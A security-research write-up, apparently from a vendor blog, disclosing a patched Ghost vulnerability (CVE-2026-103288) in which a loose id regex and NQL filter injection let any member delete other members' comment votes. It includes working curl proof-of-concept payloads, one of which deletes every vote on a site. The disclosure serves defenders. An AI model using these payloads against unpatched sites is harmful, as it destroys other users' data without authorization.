Escape research found an auth bypass in Ghost that can wipe all member's votes. It's now CVE-2026-103288.
Escape's research team found two stacked flaws that led to an auth bypass enabling any member to delete all members' likes on comments. It's now CVE-2026-103288, found only by testing as multiple low-auth users to see what they could do with data they shouldn't have access to.
Centralized validation is one of the better decisions a framework can make. Write the rule once, apply it to every route, and no individual endpoint has to remember what a valid identifier looks like. Ghost does this: its API framework carries a table of global validators, and id is in it, pinned to the shape of a Mongo-style ObjectId.
The cost of that decision is that it turns validation into an assumption. Once the framework owns the rule, endpoints stop declaring their own, and in Ghost's members' comments API, they do exactly that. Every vote route ships with validation: {}, an empty object. That is a clear delegation where the endpoint is saying: the framework has this one.
For that delegation to hold, two things have to be true. The global regex has to actually constrain the value, and the code downstream has to treat the value as data. In Ghost 5.9.0 through 6.44.0, neither was true, and the two failures sat directly on top of each other. The regex had an unanchored alternative that any string containing the letters me could satisfy. The service that consumed the value pasted it into a query filter with a template literal. And the rows that filter selected were not read, they were deleted.
The result is GHSA-qrh6-cwg3-343x (CVE-2026-103288): any self-registered member of a Ghost site could delete other members' likes and dislikes, and with one more request, every comment vote on the entire site. No admin account, no token theft, no chained bug elsewhere. Two default settings and a curl.
⚡ tl;dr
- Ghost 5.9.0 through 6.44.0 let any self-registered member delete other members' comment likes and dislikes. With two requests, a member could delete every comment vote on the site, through two combined flaws. First, the framework's global `id` validate had an uncanchored `me` branch, so any string containing 'me' passed. Second, the comments service built its NQL lookup filter with a template literal, which let an injected `,` (OR) demote the `member_id` authorization check into one branch of an OR. That lookup feeds a `.destroy()` call, so whatever the filter matched was deleted.
- The vulnerable endpoint also returns a 404 after the delete has already committed. The issue is fixed in v6.44.1 (query-builder clauses replace the string filter) and @tryghost/api-framework 3.3.0 (anchored regex). It is tracked as CVE-2026-103288 / GHSA-qrh6-cwg3-343x, CVSS 6.5.
The sink: a path parameter, string-built into a query filter
Ghost is an open-source Node.js platform for publishing blogs and newsletters. Sites can let readers sign up as members, and by default any member can comment and vote on comments.
Ghost's comment votes live in a comment_likes table keyed by comment_id and member_id. Before the service can add or clear a vote, it has to find the member's existing votes on that comment. Here is how it did that, at ghost/core/core/server/services/comments/comments-service.js:123:
async #getMemberCommentVotes(commentId, memberId, options) {
const votes = await this.models.CommentLike.findAll({
...options,
filter: `comment_id:'${commentId}'+member_id:'${memberId}'`,
order: 'created_at asc'
});
return votes.models || [];
}
That filter string is NQL, Ghost's own query language. It gets parsed into a mongo-style query object and compiled down to SQL by mongo-knex, which does parameterize the values, so this is not classic SQL injection. The injection happens one layer up, in the NQL grammar itself, and it is just as effective, because the grammar is where the authorization lives.
Look at what each half of that filter is doing. member_id:'${memberId}' is the authorization check. It is the reason this function returns your votes and not somebody else's, and memberId is trustworthy, it comes from the session, resolved server-side. comment_id:'${commentId}' is the scoping check, and commentId is the last path segment of the request URL, unmodified.
The two are joined by +, NQL's AND. If an attacker can inject grammar into the first half, they can restructure the relationship between the two, and the authorization clause stops being a constraint.
What makes it destructive rather than merely leaky is what the caller does with the return value. #clearCommentVote hands the matched rows to #destroyCommentVotes, which calls .destroy() on each one. Whatever the filter selects, the endpoint deletes.
The endpoint declares no validation of its own. In ghost/core/core/server/api/endpoints/comments-members.js, all four vote routes look like this:
unlike: {
statusCode: 204,
headers: {
cacheInvalidate: false
},
options: [
'id'
],
validation: {},
permissions: false,
async query(frame) {
return await commentsService.controller.unlike(frame);
}
},
options: ['id'] accepts the path parameter. validation: {} declines to say anything about it.
And the global validator lets the payload through. This is the rule the empty object was deferring to, in @tryghost/api-framework at lib/validators/input/all.js:14:
const GLOBAL_VALIDATORS = {
id: { matches: /^[a-f\d]{24}$|^1$|me/i },
page: { matches: /^\d+$/ },
...
Here ^[a-f\d]{24}$ is anchored. ^1$ is anchored. But me is not anchored at all. In JavaScript, | has the lowest precedence in a regex, so those anchors bind to their own branches and the third branch is a bare substring test. The rule intended to admit the literal string me, the API convention for "the current user", instead admits any string containing the letters "me" anywhere in it.
That is a generic bypass for every Ghost endpoint that relied on this validator to shape an id. And it is almost impossible to trip over accidentally, because the payload you would naturally write to attack an NQL filter on this table happens to contain the word twice: comment_id and member_id both end in me. The exploit satisfies the validator by accident of the schema's own naming.
Breaking out of the literal
NQL's grammar is small. , is OR, + is AND, and values are single-quoted. A quote inside the injected value ends the literal early and hands the rest of the string to the parser as syntax.
Set :id to T',comment_id:'T and the template produces:
comment_id:'T',comment_id:'T'+member_id:'<attacker-member-id>'
Because , binds looser than +, NQL parses that as:
$or: [
{ comment_id: 'T' },
{ $and: [ { comment_id: 'T' }, { member_id: '<attacker>' } ] }
]
The second branch is the original, correctly-scoped query, still intact. The first branch is the whole vulnerability: comment_id:'T' with no member constraint at all. It matches every vote on comment T, cast by anyone. The union of the two is the first branch, and .destroy() runs over all of it.
The authorization clause was never removed. It was demoted into one arm of an OR, next to an arm that does not have it, which is the same thing as not having it.
Only the DELETE paths are exploitable, and the reason is instructive. The POST like and dislike routes also reach #getMemberCommentVotes, and the injection parses there too. But those paths finish by inserting a new row whose comment_id is the injected string, well over the column's 24 characters. That insert throws a validation error, the surrounding transaction rolls back, and the deletion the filter had already staged is undone. The bug is present and self-healing.
The unlike and undislike paths have no insert. Nothing throws, the transaction commits, and the rows are gone.
Proof of concept
Ghost's defaults are the preconditions. members_signup_access=all and comments_enabled=all are both on out of the box, so an attacker only needs to sign up.
The victim, an ordinary member, likes a comment. The row exists and is owned by them:
$ sqlite3 /tmp/Ghost/content/data/ghost-local.db "SELECT * FROM comment_likes"
6a1f3bfcc3dd41f7b4904c0f|6a1f3a68c3dd41f7b4904c0d|6a1f3a19c3dd41f7b4904bfd|1|...
# ^-- comment_id ^-- member_id (victim)

The attacker is a different member who has never voted on anything. They send one request, with the comment id doubled through the injection:
JAR=/tmp/attacker.jar
TARGET=6a1f3a68c3dd41f7b4904c0d
PAYLOAD="${TARGET}',comment_id:'${TARGET}"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$PAYLOAD")
curl -s -b $JAR -X DELETE "http://localhost:2368/members/api/comments/${ENC}/like"
The response is a 404:
{"errors":[{"message":"Comment could not be found","type":"NotFoundError"}]}
It is cosmetic, and it is worth pausing on, because it is the kind of signal that makes a bug like this easy to dismiss during testing. The error does not come from the vote logic. It comes after the delete has already committed, from the controller's post-action cache-invalidation lookup at comments-controller.js:367, which tries to resolve the malformed id to find the post it should purge. It cannot, so it raises. The endpoint reports failure while having succeeded.
The victim's like is gone:
$ sqlite3 /tmp/Ghost/content/data/ghost-local.db "SELECT * FROM comment_likes"
$

Amplification: every vote on the site, in one request. The first OR-branch does not have to reference a real comment. Make it a condition that is true of every row instead, here, "member_id is not this impossible id":
PAYLOAD="x',member_id:-'000000000000000000000000',comment_id:'x"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$PAYLOAD")
curl -s -b $JAR -X DELETE "http://localhost:2368/members/api/comments/${ENC}/like"
curl -s -b $JAR -X DELETE "http://localhost:2368/members/api/comments/${ENC}/dislike"
Two requests from a free account empty comment_likes across every comment and every member on the site. There is no rate limit to hit and no confirmation step, because from the application's point of view a member is clearing their own vote.
The root cause: a flat regex in a grammatical world
The interesting thing about this bug is that both halves of it are the same mistake made at different altitudes.
The regex treats an identifier as a flat string and asks whether it looks acceptable. That works while identifiers are inert. It stops working the moment the identifier's destination has a grammar, because "looks acceptable" and "is inert in the target language" are different properties, and only the second one matters. An unanchored alternative is a small bug in a string test and a total bypass in a query language.
The filter makes the mirror-image error: it builds a structured query by concatenating text. NQL has precedence rules, and precedence means an injected , does not add a condition, it re-parents the conditions that were already there. The authorization clause was written as a peer of the scoping clause, joined by AND, which is correct right up until an attacker gets to choose the operator between them.
Neither layer is unusual. What made them exploitable together is that each was covering for the other. The endpoint skipped validation because the framework validated. The framework's rule was loose because nothing downstream was expected to be grammar-sensitive. Defense in depth inverts cleanly into defense in neither.
And the sink was a delete. A filter injection on a read path leaks data; the same injection on a delete path is a destructive-integrity bug against every other user's records, from an account that costs an email address.
Impact
- Any member can delete any other member's like or dislike on any comment, defeating the per-member scope the query was built to enforce.
- Any member can delete every comment vote on the site, all comments, all members, in two requests.
- No admin access, privileged role or no user interaction required; the reachability conditions are Ghost's shipping defaults.
- The endpoint returns an error while the deletion commits, so the attack looks like a failure in logs and to anyone testing by response code.
- The unanchored
idvalidator was not specific to comments, it was the shared rule for every endpoint that declared no validation of its own.
Ghost rated it Moderate, CVSS 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N), classed as CWE-943, improper neutralization of special elements in data query logic. Affected: >=5.9.0, <6.44.1.
How Ghost fixed it
The patch landed in commit 405c2623ff, "Refactor comment lookup handling," and it fixes the sink rather than the symptom. #getMemberCommentVotes no longer builds a filter string at all:
async #getMemberCommentVotes({commentId, memberId, score}, options) {
const collection = this.models.CommentLike.forge();
collection.query((qb) => {
qb.where('comment_likes.comment_id', commentId)
.where('comment_likes.member_id', memberId);
if (score !== undefined) {
qb.where('comment_likes.score', score);
}
qb.orderBy('comment_likes.created_at', 'asc');
});
return (await collection.fetchAll(options)).models || [];
}
Both conditions are now bound query-builder clauses. There is no grammar for the id to escape into, and no precedence for it to exploit, a payload full of quotes and commas is simply a comment_id that matches nothing. The same commit also adds #getPublishedCommentForAction, which resolves and row-locks the comment before the vote lookup runs, so a malformed id fails up front instead of after the delete.
The second leg was fixed too, upstream of Ghost. @tryghost/api-framework 3.3.0 changed the global rule to id: { matches: /^(?:[a-f\d]{24}|1|me)$/i }, the alternation grouped, the anchors applied to all three branches, and the substring bypass closed for every endpoint that had been relying on it.
Disclosure
We reported the finding to the Ghost security team, which acknowledged it and shipped the query-builder fix in commit 405c2623ff on June 4, 2026, released as v6.44.1 on June 5, 2026. The anchored global validator followed in @tryghost/api-framework 3.3.0 on June 20, 2026. Ghost published GHSA-qrh6-cwg3-343x (CVE-2026-103288) on August 11, 2026, crediting Escape.
Ghost's turnaround was quick and the remediation was the structural one, not the narrow one, they replaced the string-built query instead of adding a length check in front of it.
Takeaway
The generalizable pattern here is not "validate your inputs." It is that a value's safety is a property of where it lands, not of what it looks like, and centralized validation quietly encourages the opposite belief. A shared id rule tells every endpoint that ids are handled. It cannot tell them whether their particular consumer will treat an id as data or as syntax, and the endpoints that most need to know are the ones that declared validation: {} precisely because they trusted the shared rule.
So the two places worth looking in any codebase shaped like this one: query filters assembled with template literals, and the shared validators that everyone has stopped reading. Ghost had one of each, three layers apart, and their intersection turned a free membership into site-wide delete access. Beyond the injection, the finding is that the authorization clause survived the attack intact and stopped mattering anyway, because an attacker who controls the operators controls what the clause is a condition on.
Filter grammars are query languages. Anything you paste into one is code.
This bug can't be found by sending a payload and reading the status code. Reproducing it takes two member accounts - casting a vote by one and clearing it with the other - then checking the database afterward.
Escape's AI pentesting is built to test this class of issue. By probing what different role-based users can do to objects they don't own, and reporting impact with clear evidence behind it, its multi-user and business logic testing capabilities come together to surface auth bypasses just like this.
Learn more about how it works and what it could do on your attack surface
💡Discover more from Escape's security research team